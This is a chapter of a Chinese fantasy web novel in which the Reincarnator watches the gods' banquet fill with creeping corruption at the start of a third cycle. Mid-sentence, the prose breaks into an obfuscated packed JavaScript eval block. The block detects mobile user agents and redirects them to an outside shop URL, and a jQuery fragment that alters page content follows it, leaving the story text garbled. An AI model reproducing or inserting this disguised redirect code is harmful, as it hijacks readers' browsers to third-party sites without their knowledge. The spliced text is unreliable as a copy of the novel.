第二十章:噪
温暖的光晕如同黏稠的蜂蜜,缓慢流淌。信仰的气息依旧醇厚甘美,却仿佛在甘美之下,混入了一丝极其细微的、难以言喻的陈腐甜腻。星河在长桌下蜿蜒,但那些跃起的光点,其碎裂声似乎比记忆中略显沉闷,略欠清脆。
轮回者坐在熟悉的位置上,银发,灰袍,面容平静。指尖搭在琉璃盏冰凉的边缘,没有动。他在看。
与第二次归位后的观测与校准不同,这一次,他的看带着一种沉重的、迟滞的、被自身内部淤塞与污染所拖累的质感。
眉心轮回之核的旋转滞涩,处理外部信息的速度明显下降。皮肤下浑浊的铁灰色痕路网络,光芒凝滞,传递感知信号时带着不顺畅的阻力,仿佛管道内壁生满了锈垢与附着的杂质。体内那些新增的痛苦化合物与信息瘤结,持续散发着微弱但无法忽视的、混乱的背景噪音,干扰着他的专注。
他看向未来。
眼前,无数条金色的、代表美好延续的可能性丝线,依旧从此刻这个节点喷涌而出。但这一次,这些金色丝线本身,似乎不再那么纯粹。它们的金色中,掺杂着极其微弱的、不同于第一次和第二次的、颜色更加晦暗的杂色斑点。仿佛是墟的腐败、内因的恶意、以及前两次轮回积累下的痛苦信息残渣,在这第三次轮回的未来画布上,留下了更加清晰的、预先存在的污染底色。
而在这些金色丝线的最底层,紧贴现在平面的维度,那些黑色的、细如发丝的、不断颤动的噪点裂隙,不仅数量更多,分布更密,其中传来的、那种仿佛玻璃在绝对零度下缓慢龟裂的嘶声,也变得更加清晰、更加有针对性,仿佛不再是漫无目的的背景噪音,而是某种即将沿着特定路径蔓延开去的病毒感染前兆。
轮回者的灰眸深处,那片冰冷空寂中,掠过一丝极其细微的、混合了疲惫与了然的波动。他看到了,但这次,那看本身带来的神格深处的刺痛与警报,似乎被体内淤塞的钝痛与背景噪音稀释、掩盖了一部分,变得不再那么尖锐,却更加沉闷、持久。
时间?身旁传来复苏温和的声音,带着一如既往的草木清香。但这一次,那清香中,似乎混入了一丝极淡的、来自他自身神国某处的、生命力流转不畅的微弱涩感。复苏手中把玩着一片新叶,叶尖的焦黄比上一次更明显,范围也更大。
你脸色不太好。叶子状态也……复苏的语气带着关怀,但眼神深处那丝对自身神国异常的忧虑,似乎也比前两次更早、更清晰地浮现了出来,仿佛某种不祥的预兆提前被触发了。
轮回者缓缓转过头,看向复苏。动作有些迟滞,仿佛生锈的关节在转动。他需要调动比前两次更多的注意力,才能压制体内那些混乱的背景噪音,集中精神,去扮演那个第三次轮回中、应该同样感到不安和预警、但尚不明所以的时间。
他开口,声音比记忆中更加沙哑、干涩,仿佛喉咙里也堵着铁灰色的锈屑。
没事。他只是这样说,然后端起酒杯,一饮而尽。酒液依旧甘美,但划过喉咙时,带来的不是冰线,而是一种黏腻的、带着轻微灼烧感的滞涩,仿佛酒中也混入了微不可查的杂质。
他将酒杯放下,指尖的冰凉感更加明显,甚至带着一丝麻木。他重新低下头,目光落在杯沿一道极其细微的、之前两次轮回似乎并未出现的裂痕上。
就在这时——
善良毫无阴霾地举起了杯,为了我们所爱的一切。他纯净的笑容依旧,但轮回者敏锐地察觉到,那笑容绽放的速度,似乎比前两次快了零点零零一秒,结束得也快了零点零零零五秒。如同一个被设定好、但经过优化后、周期略有缩短的完美程序。
光明随之举杯,饮下的瞬间,身躯亮起,但光芒的爆闪似乎带着一丝极其微弱的、不稳定的频闪,仿佛信徒祷告点燃的篝火中,混入了几缕潮湿的、会产生黑烟的薪柴。他微微蹙眉,指尖无意识划过杯沿的动作,其轨迹也出现了一丝几乎无法察觉的、不自然的僵硬。
傲慢坐在主位,背脊挺直,熔金色的眼眸扫过全场。他嘴角勾起的弧度,其居高临下的质感中,似乎多了一丝极其淡薄的、连他自己都未察觉的审视与评估的意味,仿佛在潜意识里,已经开始计算或预判着什么。
暴怒闷声低哼,耳根发红,冰蓝色火焰纹路浮现又压下。但这一次,火焰压下去的速度似乎慢了一瞬,颜色中那丝不祥的暗红,也似乎比前两次更早、更明显地闪现了一下。
色欲依偎着他,吃吃低笑,声音甜腻。但她眼底深处那点空茫的倦意,浮现的时机似乎提前了,而且倦意的浓度似乎也有所增加。
懒惰依旧沉睡,下巴搁在桌沿,杯面涟漪规律。但与第二次相比,那涟漪的规律似乎过于完美了,完美到近乎一种冰冷的、无生命的机械振动。
白洞与黑洞,纯白与漆黑的身影,彼此相对。他们之间的同步气息,似乎比前两次启动得更早,也更绝对,仿佛在第三次轮回一开始,就进入了某种更深层次的、预备抽离的状态。
所有这些细微的、几乎无法被常规感知捕捉的偏差与加速,都一丝不漏地,被轮回者那虽然滞涩、但感知基础仍在的轮回之核所捕捉、记录。
与前两次相比,这些偏差的幅度更大,出现的时间更早,涉及的方面更广。
仿佛整个第三次轮回的剧本,其运行的基础时钟频率被微微调快了,其内部的各种参数也发生了微小的、但系统性的偏移。又像是前两次轮回积累下的痛苦信息、恶意程序与系统熵增,如同看不见的尘埃,已经均匀地沉降、渗透进了这第三次轮回的每一个初始设定之中,使得一切在开始时就带上了一层极淡的、不祥的污染与劣化的底色。
这就是噪。
不是来自外部的、突然的、尖锐的噪音入侵。
而是系统内生的、弥漫性的、从最微观层面开始的、无处不在的背景噪声与信息污染的全面升级。
是永堕轮回这个系统,在经历了不完美的迭代与粗暴的熵增处理后,其产出的第三次产品,天然就带有更多的瑕疵与噪点。
轮回者静静地坐着,灰眸低垂,如同一个内部电路已开始老化、但仍在勉力运转的古老仪器,接收、处理着这比前两次更加不干净的初始信息流。
他知道,这仅仅是开始。
当那声预示灾变的、充满亵渎与痛苦的哀鸣再次从光明圣殿方向传来时,其所携带的噪,将会达到何种程度。
当善良再次收到那淬毒的求救呼唤时,其陷阱的针对性与恶意,是否会因这弥漫的背景噪声而变得更加精确与隐蔽。
当懒惰被驱动、暴怒色欲被折磨、复苏被引诱、傲慢被囚禁时……所有这些进程,是否都会因为这无处不在的噪,而加速、变异、产生更多不可预测的迹变与漏洞。
而他自身,这个已变得浑浊、淤塞、充满内部噪音的神格载体,又将如何在这种全面升级的噪之环境中,去观测,去记录,去承受那即将到来的、必然更加剧烈的痛苦。
他没有答案。
他只
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17639197|206660||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
能等待。
宴会继续进行。颂唱在虚空中共鸣,旋律依旧,但那神圣感似乎被削弱了,取而代之的是一种更加程式化的、空洞的回响。琉璃盏相碰的声音,清脆中夹杂着更多不易察觉的、细微的杂音。空气中流淌的信仰气息,那股陈腐的甜腻感似乎也在缓慢地、不易察觉地加重。
轮回者能感觉到,自己体内那些痛苦化合物和信息瘤结,似乎对空气中这弥漫的、升级版的“噪”产生了某种微弱的“共鸣”。它们散发出的背景噪音似乎增强了一丝,内部的排异反应也似乎活跃了一点,带来一阵阵更加强烈的、源自存在结构本身的闷痛与不适。
他必须更加费力地压制这些内部的混乱,才能维持外表的平静,才能继续扮演“时间”的角色。
他看向对面的光明。光明正微微侧头,似乎在倾听什么,眉头蹙得更紧了些,指尖在杯沿划过的频率也似乎加快了。轮回者能看到,光明周身光芒的稳定性正在下降,那种不稳定的频闪出现的次数在增加。仿佛圣殿那边传来的、混杂了更多“噪”的信仰波动,已经开始提前对他产生影响,使得他维持“恒定光明”这一神职表象,都变得比前两次更加吃力。
复苏也显得更加心神不宁。他手中的叶子已经完全焦黄,甚至边缘开始卷曲。他不再把玩,而是无意识地将叶子捏在指间,目光不时飘向宴会厅外,那片通往他神国青芜界的方向。显然,他神国中“生命力流转不畅”的问题,其恶化的速度和带来的不安感,都超过了前两次。
暴怒似乎更难控制自己的情绪。虽然他极力压抑,但那冰蓝色火焰纹路不受控制浮现的次数明显增多,每次浮现的时间也略长。色欲靠在他身上,甜腻的笑容下,那空茫的倦意几乎快要掩盖不住,眼神时常会短暂地失焦,仿佛在神游天外,又被强行拉回。
傲慢的审视目光变得更加锐利,也更加……不耐烦。他扫视全场的频率在增加,嘴角那丝弧度几乎快要挂不住,仿佛眼前这场“和谐”的宴会,在他眼中正变得越来越“漏洞百出”和“难以忍受”。
懒惰……他的沉睡姿态似乎过于“标准”了,标准到不像沉睡,而像一尊被精心摆放在那里的、名为“沉睡”的雕塑。杯面的涟漪依旧规律,但那规律本身,在轮回者被污染和迟滞的感知中,也开始带上了一种不自然的、令人不安的韵律。
白洞与黑洞的同步,已进入一种近乎“凝固”的状态。他们之间那片区域的时空法则,呈现出一种更加诡异的、向内坍缩又向外逸散的静止。仿佛他们已经提前进入了“预备抽离”的最终阶段,只等某个契机的到来。
整个宴会厅的气氛,虽然表面上依旧维持着温暖与神圣的假象,但其内部,一种无形的、充满“噪”的紧张感和不稳定性,正在如同缓慢上涨的黑色潮水,悄然漫过每一寸空间,侵蚀着每一位神明(或者说,扮演着神明角色的存在)的心神。
轮回者知道,那个“契机”,就快到了。
那声哀鸣,那根断裂的未来丝线,即将成为压垮这虚假平衡的最后一根稻草。
他缓缓地,再次握紧了冰凉的琉璃盏。杯沿的裂痕,在他的指尖下,仿佛传来一丝极其微弱的、几不可察的、如同裂纹延伸般的……刺痛感。
他抬起头,灰眸望向光明,也望向光明身后那片虚空,那哀鸣即将传来的方向。
等待着。
等待着第三次轮回,在全面升级的“噪”之背景下,正式拉开它那更加扭曲、更加混乱、也更加痛苦的序幕。